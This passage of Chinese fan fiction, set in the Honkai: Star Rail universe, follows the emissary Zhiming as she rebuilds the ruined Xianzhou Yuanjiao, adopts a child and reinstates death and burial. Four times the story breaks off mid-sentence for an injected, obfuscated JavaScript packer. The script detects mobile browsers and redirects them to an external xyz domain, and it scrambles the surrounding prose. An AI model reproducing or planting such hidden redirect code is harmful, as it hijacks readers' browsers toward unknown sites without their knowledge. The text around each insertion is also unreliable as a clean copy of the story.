可岚也曾听闻她只身闯入贵胄的宴会,将那筑京观的耆宿一剑枭首,之后镇压那些疯魔的洞天之主,圆峤本就瘫痪的中枢足足三日血流不绝,更别提这位女士威胁人的时候最爱把当肥料挂在嘴边,外出采集的队伍也确实在树根下发现了某些难以降解的人类痕迹…… 门外淅淅沥沥的雨声里,温柔沙哑的女声响起:“岚,你一直看着我,是觉得很难理解吗?” 岚摇头。 “对敌有雷霆之态无可厚非,某只是好奇,”金眸的男子眸光清正,“星海浩渺,你无处不可去,为何来此呢?” 质明不答,只问道:“圆峤在这场灾难之前,大概有多少人?” “一千三百亿。” “现在呢?” 岚回想片刻,捡出手边的文件,道:“九百五十四亿五千三百二十一万三千四百零五。” 质明叹了一口气:“你知道么,哪怕是损失的人口,也比当年我整个星系加起来翻上几倍都多。人命不是数字,人生也不是程序,可惜当年没人这么觉得,所以他们自顾自地打起仗来,把星球打烂了,又遇上陨石雨、小行星,没过十几年就要灭绝了。” “不该这样吧。我想。 “所以圆峤对我而言,看着还挺眼熟的。以前我只是个普通人,没法阻止也无力改变,但现在不一样,我既然能去做,那就去做咯。 “另一方面……按照你们的人口基数,圆峤也就罢了,如果其他仙舟为了转移和分化矛盾,都像典型的丰饶民一样为了延续而去掠夺别的文明,最后变成银河灾害,总觉得人类总体也跟着完蛋了一点。” 时断时续的小雨总算是停了,隐隐的虫鸣在寂静的春夜里奏响,质明拢了拢长长的白发,轻轻打了个哈欠:“总之大概就是这样吧,希望这么说能让你放下一些戒心。” 岚眉头微拧:“某无意冒犯。” 质明撑着下巴含笑道:“那就去给我拉磨。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099053|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岚似乎没跟上质明跳跃的思维,但他仍然沉稳地点头,准备聆听质明新的命令。 “再去核算一下洞天能源还能支撑多久,还有以现在的人口,还需要开辟多少新的洞天才能足够温饱,以及……我需要一份洞天之主的名单,不管是明面上的还是背地里的。”说话间,昼夜悄然更替,质明发间点缀的桑枝变幻为月桂。 “让他们留下金人首领一命,丹鼎司帮忙清查圆峤目前的物种情况,暂时就这些。” 这很明显是要有什么大动作,岚深深地看了质明一眼,没有追问。 第二天一早,质明便去登记收养。程序走得很快,似乎已经快得超出了长生种的普遍时间观念,当天下午就办妥,岚在傍晚带着反复核实的文件找到质明的时候,她新鲜出炉的女儿已经在身边。 岚忍不住上前看了两眼。 女婴的脸颊比上次见到时红润了些许,偏黄的胎发如今也长成了乌黑的模样,她正睡着,手心攥着一缕白发,柔嫩的脸颊旁放着养母的一只手。 曾经目盲的人如今也还是习惯以视觉之外的感官认知世界,质明的指背轻轻贴着孩子脖颈的布料,长久地感知着稳定的脉搏。岚注意到,她的呼吸也跟着放轻了。 很难形容质明如今的神态,她柔和得如同掠过鬓角的晚风,又比在那老人面前更熨帖,更亲切。 岚本就沉默寡言,如今更是不知道如何在这安谧的环境中开口。 “安心,不会吵醒她的。” 质明连和岚说话的语气都柔和了好几个度,惊得后者长眉一挑。 “……你怎么像是被我吓着了,不会吧?” 这也不好说,岚只能憋出两个字:“未曾。” 质明轻笑:“你这人怪有意思的。” 她将自己的长发从孩子手中轻轻取出,末了,道:“现在来说正事吧,外面的情况还算稳定,但更具体的还得看你带来的这些东西。”一边说着,质明接过了岚带来的玉兆与卷宗。 也是同往常一般一目十行地翻阅过,质明像是确认了什么一般,又翻看了丹鼎司的报告。 “原来如此,状况比我想象中好一些,看来也不是所有洞天之主都跟扒在树干上的吸血虫似的。”质明思考着,“但不论善恶,他们的存在本身就是养活这么多人口的最大阻碍……占据最多的土地用以供养己身,不事生产又穷奢极欲,啧。” 她忍不住抓着岚抱怨了一句:“你们都走向星海了怎么还是这么封建,真是难以理解。” 岚老神在在,目不斜视地说出了更炸裂的话:“建木生发之前,夺舍之祸伊始,仙舟贵胄多有蓄奴。” 质明的目光更诡异了。 岚话锋一转:“蓄奴陋习早已摒弃,某相信贵胄之流亦然。” “那还真是多谢你的信任了。” “……”岚移开目光,生硬地转移了话题,“你可为她起名了?” 质明不疑有他,当即应道:“翻了些仙舟的古籍,‘春日载阳,有鸣仓庚’,她叫‘承阳’。” 5. 奇观 “你觉得,圆峤现在和碎片有什么两样吗?” 站在圆峤理论上的最高处、某位已死贵胄府衙顶端的质明,仰望笼罩天空的桑桂树冠,对身旁默然而立的岚提问。 这里并不是只有他们,圆峤目前现存的绝大多数洞天之主和管理人员都在此地,只是无人敢于上前接话,质明肃清蠹虫与剥离赐福的手段迅如雷霆,慢吞吞的长生种们至今还没商量出章程。 岚也没有接话,因为质明根本不是在询问答案。 故障频出的人造天气系统已经停止了运行,因为破损而无法覆盖整个仙舟的防御立场也被撤除,现在立在这里的人们可以毫无障碍地看见那棵行星级别的巨树,看她如何支撑浮土,如何供养生命,那两颗散发光辉的遥远恒星又是如何围绕她转动。 仙舟圆峤主副引擎短时间内修复的可能微乎其微,在滑向红巨星的途中被引力撕扯,被高温炙烤,整体架构如今也只是勉强维系。 一方面,知识的断代严重影响了修复进程,而能源的短缺更是关乎近千亿人口的生死存亡 另一方面,质明在这次苏醒之前,都是以意识投影的方式在行动,即使接连遇到了好几拨人,也没有和他们建立稳固的联系方式,而本体自保的本能也驱使着星域不断跃迁改变坐标,目前停留的位置荒芜到连虫群都不肯光顾。 在圆峤和质明没有与外界连通手段的情况下,似乎只剩下了一种方法。 九艘仙舟离开母星翾翔星海,至今已经三千二百余年,岱舆早已殉爆,而其他仙舟在领受丰饶赐福之后转变为长生种,仙舟人口暴增自此而始。狭小的星舰早已无法承载动辄千亿的人口,洞天技术,也就是空间折叠技术,早已在仙舟上遍地开花。 虽然空间折叠技术耗能巨大,但是在那几百年的黄金时代里,仙舟人已经开发出了丰饶力量的各种用途,由此才能支撑开辟洞天。 但建木带来的繁荣终究只是一时的,它的力量也并非取用不竭,更何况仙舟自启航时代便有贵胄,如今更是耆宿颇多,资源分配不均,又普遍没有节制的意识,最终酿成阋墙之战,酿成如仙舟圆峤一般的恶果。 质明平静地向众人宣告了她的决定,也不管在场众人神色,甩下一地或真或假的感激,漠然而去。 当夜,月上中天时,岚从浅眠中惊醒。 窗外月色如昼,空气中隐隐有一股清新微苦的浅淡香气,同时伴有温和但强势的虚数波动。质明的虚数能量对岚如今的躯体而言系属同源,轻微的波动都能被他的感官所捕捉,更遑论这种程度的扰动。 踏出房门的那一刻,一种不容忽视的窥视感笼罩了岚,他几乎是瞬间绷紧了神经,仔细分辨着那“目光”的来源。 天上。 有什么从天空往下看。 是——月亮。 岚抬起头,愣愣地看着夜空中无遮拦的圆月,它就像一只温柔的眼,静默不语地同岚对视。 他几乎一瞬间就确定,这是质明的眼睛。 岚四下张望着,很快在屋顶上找到了眼睛的主人,可到了近前,才发现她与平时看起来十分不同。 遮目的符文金纱绕着指节,静静躺在月光下略显苍白的手心,她听见了动静,侧头看过来,金银异色的双目嵌在一白一黑的巩膜上,如同天穹挂白日,夜幕缀明月,呈现一种诡异的美。 质明正抬起右手,掌心酝酿着什么,她的神情显得有些困惑:“你没睡着?” 岚反问:“某应该如此?”他随后便笃定道:“那香气果然有问题。” “助眠而已,我不想半夜还有不识趣的人在我跟前大呼小叫。” 岚迟疑了一下,还是决定回避:“某……” 质明不太有所谓,只是道:“醒了便留下吧,这样的机会大概也就这么一次。” 岚从善如流地不再提要离开,只是问:“白日时,圆峤上下一片赞誉,你缘何在中夜行动?” 质明轻轻合拢右手手掌,仿佛有无数丝线收束其中,她轻笑:“你这是明知故问,况且这一句话里有没有半句是真的你心知肚明。在这个节骨眼上我接手洞天,就相当于从那些人骨髓里抽血,就算再恐惧于我,他们一日之内也必然有所行动。” 岚拧了拧眉:“圆峤百废待兴,再起动乱,恐怕不妥。” “是,这就是我为什么今晚就动手。” 今夜群星寂静,仅有两个人能够见证这景象: 那白日为桑,黑夜为桂的巨木,由行星一般逐渐缩小,发达的根系滋长,从骨架处将本就残破不堪的圆峤舰体包裹、覆盖。因着圆峤上下反复核对过的数据,质明一一分辨这艘小船上密密麻麻的洞天,然后精准分离,由那些气根似的丝线编织、串联,垂挂在本体的枝梢上,注入虚数能。 如今的仙舟圆峤,停留在最原始舰体上的人口和设施都少之又少,质明之前开辟了几个新洞天,让他们统统迁移了进去。如今圆峤空荡荡的舰体被桑桂的根系包裹,也一股脑地塞进了一个洞天之中。 如同从红巨星的引力里被拉走时一样,洞天的迁移引发了轻微的失重感,但随着位置的稳定,这种轻微的变化很快就消失了。 一起消失的还有从天穹传来的瞩目,岚侧头一看,质明又将金纱覆盖在了双目上,正拢着长长的白发,用金纱多余的部分捆了两圈,轻轻打了个哈欠,显得有些困倦。 “圆峤人口千亿之巨,洞天不计其数,你可有大碍?” 岚看起来不太赞同,他本以为就像质明白日里说的那样,对她基本没有影响,但现在看来似乎不是如此。 身旁岚的关心让质明有些诧异,她愣了一下,有些好笑地摇摇头:“就像你突然穿上厚衣服一样,总要适应一下。虽然我不知道祂究竟为什么擢升我,但毫无疑问,祂十分慷慨。” 说起药师的时候,质明唇角微微的笑意缓缓褪去,末了,变成一声叹息。 她轻轻呢喃:“善因恶果,情何以堪。” 之前那被流溢的虚数能量近乎凝滞的空气重新流动起来,晚风拂过月桂的枝条,源自叶片的浅淡香气被如同叹息的风送得更远,吹起质明的长发,在她走过时,轻轻拂过岚的手背。 “明天大概有一场好戏能看,做好准备吧,岚。” 确实是一场好戏,岚想。 很少能见到这群高高在上的洞天之主这么唱念做打俱全,一个塞一个弯得下腰拉得下脸,就好像他们祖上不是达官显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099054|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贵,而是市井街头摆摊说评书唱花鼓戏的。 当然也不是所有人都这么能屈能伸,也有敢怒不敢言的,多半是被质明的武德充沛压得不敢说话。 强权的方便之处大概就在于此吧。 也不是没有正常人,岚在一群闹哄哄的洞天之主里找到几个熟面孔,里面有几个仙舟少见的老人,不用说,都是私底下去见过质明的。其中一位精神矍铄的老妇撑着拐杖站起身来,她身边跟着一位年轻女子,岚不认识,但他瞥了一眼质明的神情,她认识。 老妇开口,没有苦求也没有卖惨,只是用老迈的声音询问质明:“长桑君,请问您如何处理圆峤的舰体?虽说老身久在洞天,但我等流浪星海多年,舰体就如故土一般,实难轻弃。” 质明总算捡着一个能说几句的,当下便道:“不必担忧,也在一处洞天中,且看之后如何规划。” 似是得到了满意的答案,老妇人转而换了个话题,她将身边的年轻女子带上前来,道:“老身命苦,家门不幸,家里只几个不肖子孙。幸而前些日子有缘,得了一女,名为云缨,与长桑君有些缘分,今日便腆着脸,为她求个策士的位子。” 名为云缨的女子期待又崇敬地看着质明,赫然是质明来到圆峤的第一日救下的侍女。 那老迈的洞天之主如此言语,就是诚投了。 质明也没含糊,当即就应下,话也没说满,只是道:“金人乱后,百废俱兴,正是用人之际,云姑娘且留下,倘若考核合格,你便是策士了。” 二人这一番旁若无人的交谈,把别的洞天之主晾在一边,倒是颇有几分滑稽。 初看觉得有趣,看多了也就没意思了,岚的思维逐渐滑向一边,他想起今早承阳那孩子睁了眼,眼睛同他一般是金色,因着这个,质明明里暗里没少盯着他不放。他不太理解这种心态,难道说多瞪他几眼就能让那孩子换个眸色不成。 岚走神的当头,该诚投的诚投,该跳脚的也还是在跳脚,质明没有料理他们,只是说了几句不痛不痒的安抚之言,一句切实的许诺都没有,就似笑非笑地把人都打发走了。 质明前往摇光天布设星轨的时候,岚终于还是忍不住道:“这不像你的风格。” 明灭的星辰碎片被无形虚数能量串联,在桑桂树冠的最高处,被质明一一投放,缜密的防御立场逐渐成型。她一边进行着手边的工作一边含笑道:“怎么,我就应该在今天把那群蠹虫挨个杀干净?” 岚:“高拿轻放,无异于姑息养奸。” 质明答非所问:“你见过畜牧洞天的晴柔吗?” 岚静候她的下文。 “那是一种遇见天敌就会吸气膨胀,离地漂浮躲避的生物。但如果几十代晴柔都没有遇见过天敌,你说,它们的能力还会和第一代一样好用吗。” 她用开玩笑的口吻说着意味深长的话:“总不能因为我活得长,就让我一直在这里当长工吧。等到了接班人的时候,那不就正是上好的新官上任三把火么。” “最棘手的已经拿去沤肥了,连这些都解决不了的话……圆峤就真成我树根上的浮土了。” 质明似笑非笑:“岚将军,你也不想圆峤和我,变成造翼者和穹桑吧?” 6. 仰春 “我现在就好像一个控制狂。” 质明如此向岚评价自己。 她倾诉的对象正拧着眉,试图理解她手中命途力量混合现代科技打造出来的物体,听了她这话,愣了一下,用那种一言难尽的眼神看了她一眼:你难道不是一直这样吗? 质明“啧”了一声:“你的眼神,骂得好脏。” 岚仍然带着好奇与探究地盯着质明的“天气混沌模型”,他随口应了一句:“总好过放任不管。” “……怎么感觉骂得更脏了。” 一句骂她一句骂药师,好强的攻击性。 岚无语地看着她。 自从那个月夜之后,或许是共享了难得一见的奇观,见证了仙舟圆峤形态的转换,二人的言谈比之以前便随意了一些。岚仍然是那个十句话闷九句在心里的性格,但他对质明肉眼可见地放下了许多警惕。 于是他道:“仙舟翾翔至今三千余载,比之寰宇其他文明,确如襁褓稚子。而稚子怀金过闹市,下场如何不必多言。”言下之意,在目前这个阶段,质明控制欲强一点才是好事。 质明点点头,不再言语,而是专注地调控着混沌系统。 他们如今身处摇光天,乃是圆峤目前相对位置最高的洞天,挂在桑桂的最高处。质明曾经在此布设组成防御力场的星轨,如今也把控制众多洞天的天气系统安放在这里。 质明看他好奇,便解释道:“虽说是混沌系统,但也只是取一个名头,也不是不能人工干预,需要对作物和家畜进行调控的农业洞天和畜牧洞天可以直接打申请进行调整。但如果是日照时长之类的条件,就得让这一类洞天想办法跟着晨昏线转了。虽说我也不是没有余力支撑原有的天气系统,但能省一点是一点吧。” 注重自然与生命气息的丰饶行者看起来和这一精密的调控系统不太搭。 他这么想了,也这么问了:“这是何人所作?” 质明:“我的智械朋友,螺丝咕姆,我能和你们正常沟通,都是多亏了他留下的联觉信标注射器。只是上次见他已经是好几个琥珀纪之前了。” 仙舟于星历2022年加入泛银河贸易网络,也是从那个时候起,仙舟之外的一应信息开始在仙舟内部流传,对于某些银河名人也有系统的记录和认知。虽说那个时间点岚正处于他的守眠周期中,但醒来之后根据惯例,他也了解过这些新鲜事物。 岚试探着问:“倘若能联系上……” 质明叹了口气:“碰运气的事,他们也许能找到我,但我找不到他们。” “无论是无名客还是螺丝星的舰队,我同他们见面的时候都只是意识投影。 “超距遥感技术在我的星域会系统性失灵,而这片星域的坐标最近几个琥珀纪也在不停地改变,这两者都是我沉睡时期无法控制的自我保护,我在了解到圆峤的情况之后才让它们堪堪停下来。 “现在咱们哪个鸟不拉屎的地方也不知道,谁都联系不上。 “也就是说,咱们什么都得自己想办法。” 这么说着,她将手中的天才造物悬空托举而起,缓缓镶嵌在了复杂精密的仪表盘中。 真实的、属于恒星的光和热,终于毫无障碍、畅通无阻地洒落下来。这一处洞天在桑桂的最高处,穹顶并无枝叶遮盖,只有淡淡薄云,徐徐和风。 “云缨,你来一下。”质明道。 成功考上编制的云缨上前几步,道:“长桑君有何吩咐。” “各个洞天的玉兆通讯恢复情况如何?” “九成以上已经接入圆峤内部通讯网络,但是外部通讯仍然处于忙音状态。” “正常,能通局域网就不错了。中枢机构的通知能够正常下达吗?” “可以。” “那就去发通知,天气系统已经开始重新运行,需要调整天气和洞天轨道的打申请。” 云缨离开后,质明仍然留在摇光天,静默地注视着湛蓝的苍穹。岚的目力很好,在这个高度,质明进行操作的时候,他也能隐隐约约看见那些串联着的星轨。 质明已经捞起这艘小船大概三四个月了。仙舟的历法与她曾经的故乡差别不大,按照时间算起来,她在星历3287年年底来到这里,如今已经是星历3288年的三月。 只是……“你们这里还有四季和节庆的概念么?” “四季说法仍在,但实际意义已经消亡,至于节庆……再过几日就是寒食。” 岚回忆着,慢慢对质明说道。 “寒食过后就是清明?” “……寒食之后并无节日。” 质明“唔”了一声:“难道你们从不祭奠死者?” “也许古国时代有此传统,但仙舟踏入星海之后,轮替守眠,生死参差,便不再提及。建木生发之后,各仙舟死亡尽除,生死混同,更无所谓祭奠。” 发簪桑枝,金纱遮目的丰饶行者哑然一瞬,感叹着道:“如今还是捡起来吧,不敬畏死亡,也就活得没有实感。而以后这里的老人与死者只会越来越多,正好是正是这件事的好时机。” 岚提出了自己的担忧:“只怕有人趁机生乱。” “是你提不动弓了还是我拿不动剑了,爱来就来,来几个收拾几个。” 话题过了这一桩,二人正准备离开,质明像是突然又想起来什么,接着道:“从前仙舟空间有限,那死者……” 岚的站姿十分挺拔,他似乎是察觉了质明对生死之事的看重,语气也跟着沉重起来:“火化为灰,遍洒星海。” 质明又叹气,心道自己来了这破地方好像每天都在叹气:“那现在还是得有个墓地。” 她这么说着,新的洞天在她话音落下之后便开辟完成。虚数力量的波动岚也有所察觉,他沉默依旧,并未言语。在通过修复的交通系统来到位于树根的洞天后,他才发现,质明将自己树根抓握着的那些土石砂砾一并转移到了新的洞天之中。 山峦绵延起伏,毗邻着广阔无涯的水泽,向着视线的尽头绵延,一眼看不到边。草木苏生的速度极快,几乎是片刻便生长出了一大片,岚眼尖,认得顶着他鞋底的是仙舟特有的植株,于是让开了几步。 这些或熟悉或陌生的草木混杂在一起,如同被甩出的颜料,短短一盏茶的功夫,便将土石的山峦染成了深深浅浅的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099055|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绿色。这些植物有的是土石里自带的,有的是质明刚刚撒下去的。 岚有些疑惑:“这不是你之故土么?” “是啊,所以我也葬在这里。”质明轻飘飘地说着。 于是岚便一头雾水地看着质明不知道从哪里取出来一个破旧的冷冻休眠仓,随手破开一处山腰的土层,将其安置了进去。她又支使着岚找来两块一大一小的石板,大的那一块立在埋了休眠仓的土包前,被她拎着长剑写上了碑文: 质明之墓。 这还没完,她又破开了相邻的另一处土壤,破出一个小了许多的坑来。 说了那句“我也葬在这里”之后就沉默得出奇的女人,站在那个小土坑前,呆呆地立了一会儿,转头又开始刻碑。她这次没用剑,只是伸出食指,慢慢地徒手写下简短字句,如同在抚摸谁冰冷的的脸颊。 她写:爱女沐星之墓。 小小的墓碑依偎在她的墓碑旁边。 而她还在对着土坑发呆。 连岚都被这种窒息而压抑的氛围弄得受不了了,他没再礼貌地站在几步开外,而是走上前去,低声探问:“何故迟疑?” 质明动了动嘴唇,她的目光透过金纱落在岚的脸上,却仿佛并不是在看他。 “……我只是,不知道该往里面放什么。”她说。 “不知道只有声音和触感的话,能不能做光锥,哪天遇上了流光忆庭的忆者再去问一问吧,现在……”她絮絮地说着,取下了束发的桑枝长簪,扔在一边,勾出一缕白发,用剑划断,放进了那个小土坑里,“就当我也躺进去了吧。” 话音落下的那一瞬,岚看见她的长发又恢复了原来的长度,仿佛从没有取下那一截。 质明抚摸着自己散下来的鬓发,遮盖了眉眼的金纱辨不出她的神情,她只是同岚说:“走吧。” 鬼使神差地,岚捡起那支落在地上,看着好像马上就要长出根系的发簪。 他们一起回到了葳蕤行道。 葳蕤行道是质明开辟的新洞天之一,目前是圆峤的中枢机构,位置大概在桑桂的树冠上。圆峤的绝大多数农业洞天和居住洞天都在树冠层,这种划分并无地位高下之分,只是由职能和供能决定。 质明的居所也在这里,不过与临时构建的行政机构并不在一处。遍布圆峤的藤蔓早已被收回,岚因为需要定时补充让身体实体化的丰饶力量,目前与质明算是毗邻而居。 他正在思考怎么把发簪还回去的档口,便见质明抱着襁褓坐到了庭院里。 院里的石桌上摆着一碟点心,一壶茶水,此刻日上中天,阳光正好,照在质明披散的白发上,让她看起来仿佛在发光。但她仍然没再说一句话,她平时哄孩子的时候嗓音温柔和煦得听得让人汗毛倒竖,此时却沉默着,如同在数着阳光错落投下的斑纹。 承阳是个好脾气的孩子,不怎么哭,也不怎么闹出动静,如今太阳晒着舒服,也只是抓着养母垂下来的头发,自顾自地玩着。 质明侧着身子,没对着岚,承阳圆乎乎的小脸他倒是看得清清楚楚。 那孩子分明睁着眼睛笑着,脸上却有几滴映着光的水痕。 7. 开拓 这个群山连绵的洞天,最后被整体命名为“邙山”,而环绕群山、烟波浩渺的水泽,则被称为“九泉”。九泉之上另外布置,修起了肃穆庄严的建筑群,生者和亡者在此告别,是为“长行别馆”。 在特殊时期一切从简的情况下,可以说这是圆峤最近最为隆重的一次大兴土木。 但当衰老与死亡重新降临到仙舟人身上,代替了六尘颠倒的魔阴身之后,死亡就不该再是被回避的话题。人伦尽丧行尸走肉是死,身躯老迈化为尘土也是死,既然死亡普同一等,选择更有尊严的方式便是人所能触碰的、最深切的自我。 人没有选择生的自由,但有决定如何死的自由。 当然,现在只是星历3288年的春天,连第一个走向质明、走向死亡的老者都还没闭上双眼。作为生命尽头的具象化,邙山洞天还仅仅只有两座空空如也的衣冠冢。 这一套生死伦常的规则,也尚未以书面形式的方式告知这圆峤上的所有人。 但并不是没有人察觉表象之下的本质。那位跪地请求的洞天之主是一个,岚是另一个,而前者的求祈是因此,后者的警惕也是因此。 不得不说,同一件事在不同的人眼中,竟能完全呈现出两种色彩,实在是非常有趣的现象。 “因为这并不是丰饶赐福的反面或者逆向,这只是一种温和的赐福剥夺,在本质上和丰饶民之间的互相吞食没有差别。只是他们直接吃或者拿来炼丹,我在仙舟人产生魔阴身征兆之后将其取走,用以维持洞天的部分消耗,倒也不必把我看得太高尚。” “目的是目的,手段是手段,目的的正义不代表手段的干净。现在这个情况,要是让我那些同事见了,恐怕也只会评价我把圆峤当成了私人采食场。” 此时正直中夜,银月缀在月桂的枝头,桂叶熟悉的淡香弥漫,浅色的光斑从枝叶的缝隙洒落,映在质明缎子似的白发上。她上午消沉了一会儿,下午便离开了洞天,从桑桂本体处取来了一枚界域定锚,如今正对着月光专注地摆弄着。 岚捡回的桑枝长簪在太阳落下之后就变成了点缀着月桂花的桂枝,质明谢过之后,没再梳鬓,只卷了两缕长发并在脑后,用多余的金纱缠了缠,将桂枝别了上去。 两个任劳任怨的社畜上午旷了会儿工,便一直加班到晚上,等到熬猫似的把承阳都熬睡着了,又挑灯夜战了好一会儿,质明和岚才姑且算是喘上两口气。 岚不怎么需要休息,但他知道质明的生活作息一向规律,除了必须在晚上做的事情,她很少这么晚了还在庭院里晒月亮。考虑到月亮是她的眼睛,这无异于自己瞅自己。 闲着也是闲着,岚摸出玉兆,开始查看明天的日程。然后他就看到了云缨提交上来的一篇公文,写的是长桑君赐人以死的基本原理,其中详细地提到了赐福的运行机制和流转去向,堪称毫无保留,剖肉锯骨。随后介绍了新开辟的邙山洞天和具体功能。 这样一篇文章发出去,虽然能立刻打消部分仙舟人不切实际的幻想,但也必然掀起轩然大波。 岚拧着眉:“是否操之过急?” 界域定锚的柔和蓝光和月光混同,把质明的脸颊和双手映得如同透明,她头也不抬地道:“早说晚说都是一样,那不如早点。”这才有了开头那一席话。 这样的情况实在有些滑稽了。 质明是保守派,岚是激进派,现在是保守派觉得激进派太保守了。 “虽说要给继承人留点磨刀石,但邙山洞天已经建好,完整的流程已经确定,此时不讲更待何时?这种敏感的信息如果不是从我们自己的喉舌里说出来,只会引起更大的混乱。” “况且……”金丝一样的气根从虚空中浮现,将界域定锚笼罩其中,“那群蠹虫先不管,如果有人真的站出来,不是因为生命被剥夺、而是因为我的狼子野心而反对我,那不是更好吗。” 岚若有所思:“节制并非一人之功。” 质明颔首:“只我和你两个,在那里剃头挑子一头热,是不行的。” 正如她所言,这一则通过玉兆发送的公文,确实在如今的圆峤仙舟上一石激起千层浪。 圆峤人堪堪度过了生存危机,如今正在紧锣密鼓地重建家园,春耕的春耕,畜牧的畜牧,该在背后蛐蛐长桑君的也没闲着,每个人都有自己的事情要做,人人都有光明的未来。 但就在此时,伴随着新的生死秩序而来的,是他们的恩人、如今的领导者,长桑君的无情剖白。 如质明所想,最能跳脚的也最惜命,残存的洞天之主们安静得就好像畜牧洞天里用绳子拴着的晴柔。因为他们已经在短短几个月的时间内自认为了解质明,这个女人的政令并不征求意见,只是下达命令,她决定好的事情总会摧枯拉朽地实行。 当时没去参加耆宿宴饮的无非两种人,一种良心未泯,一种懦弱无能。 前者能在那样癫狂的处境中保持本心,如今也自然不移不改,事实上,他们中的很大一部分已经私底下来找过质明,云缨的养母就是其中之一。有些比较激进的已经在为自己挑选风水好的墓地。 而后者,就是质明留给后来人的磨刀石了。 质明最期待反应的,莫过于镇压金人之乱后的卫队,以及恢复了些许元气的普通百姓。 她对他们的期待在于,她希望卫队不要轻易受人挑拨,希望百姓不要她说什么就信什么。不过虽然怀有期待,但如果并未达成预想中的效果,质明也不会多失望。 她的时间一大把,摸清楚了情况才好对症下药嘛。 而且仙舟人总是喜欢中庸的,只有先把最激进的政策放出来,后面力度同样大,但绝没有第一个那么夸张的改革才会更容易被接受——比如计划生育,环境保护,义务教育之类的。 说实话,仙舟一方面先进得质明觉得自己像个土老帽,另一方又封建得令人发指,真是难以理解的文明状态。命途能力造成的生产力扭曲会招致这样的结果,也是很有意思的课题呢…… “军中情况如何?”岚今日不在,是葳蕤行道的宿卫来报。 “禀长桑君,军中虽有骚动,但并无哗变。” 质明眉头都没皱一下,翻过一页公文:“查清来源了吗?” 披坚执锐的宿卫抱拳低首:“尚在调查。” 质明换了个问题:“各个主要居住洞天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099056|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?” “已经派遣使者前来,稍后便到。” 质明摆摆手:“那你去吧,将洞天代表领来见我。” 百姓代表的构成很有意思,男女老少都有。这里的老并不指外貌,如今圆峤上少数几个老人都是洞天之主,百姓代表的老迈主要在于姿态与眼神:长者沧桑愁苦,青年男女神态踌躇犹豫,走在最前面的小孩子倒是一副看什么都新鲜,无所畏惧的样子。 质明认得她,这孩子出身圆峤新建的慈幼坊,那里收养了绝大多数金人叛乱之后失去家人的孤儿。 长桑君在幼童面前的形象和在成年人面前的是不一样的,孩子们看得出来,大人自然也看得出来。因此那个头不高的小女孩儿见了质明便笑,眼神晶亮地上去牵着她的袖子,也没有人出声打扰。 他们也不叫她长桑君,他们管她叫“桂娘娘”。 质明温声问着那被慈幼坊选出来的小代表,小姑娘扎着细细的辫子,头发有些发黄。她认真听完了质明的话,然后脆生生地说:“桂娘娘,我们大家都看不太懂玉兆上写的东西是什么意思,我去问阿嬷,阿嬷说让我跟着云骑叔叔来见您。” 质明愣了一下,随即就是失笑,是啊,她光顾着让云缨写公文,忘了小孩子和很多大人没有玉兆也看不懂。抬眼一看,长者与青年也是差不多的神情,似乎因为自己的无知而羞赧,气氛一时轻快起来。 “我便把原理掰开了揉碎了同他们说,他们听懂了之后就说回去告诉别人,看着也没什么不满。” 岚回来之后,质明同他分享情报。 岚简短地评价:“好事。” 只是质明女士那贤明睿智的哲人形象在下一瞬间就被一声恼怒的低语打断,她看着手中界域定锚的眼神像是要把这开拓的命途造物生吃了。但很遗憾,它如今依然在质明手中散发着柔和的光芒。 “难道说不踏上开拓的命途就没有办法使用和拆解研究吗……阿基维利也没说啊。” 岚疑惑地重复了一遍那四个字,然后慢慢道:“你是说……开拓命途之主?” 质明愣了一下:“我的星域曾有星穹列车停留,我也见过祂本人,那确实是一位星神,是有什么问题吗?” 岚的神情看起来更严峻了:“你曾言,你至多沉睡了五个琥珀纪。” 质明点头。 “但加入银河贸易网络之后,仙舟接触过四散银海的无名客,他们说,阿基维利早已在第二次繁荣的尾声陨落,至今已有百余纪。” “——所以,你见到的,究竟是谁?” 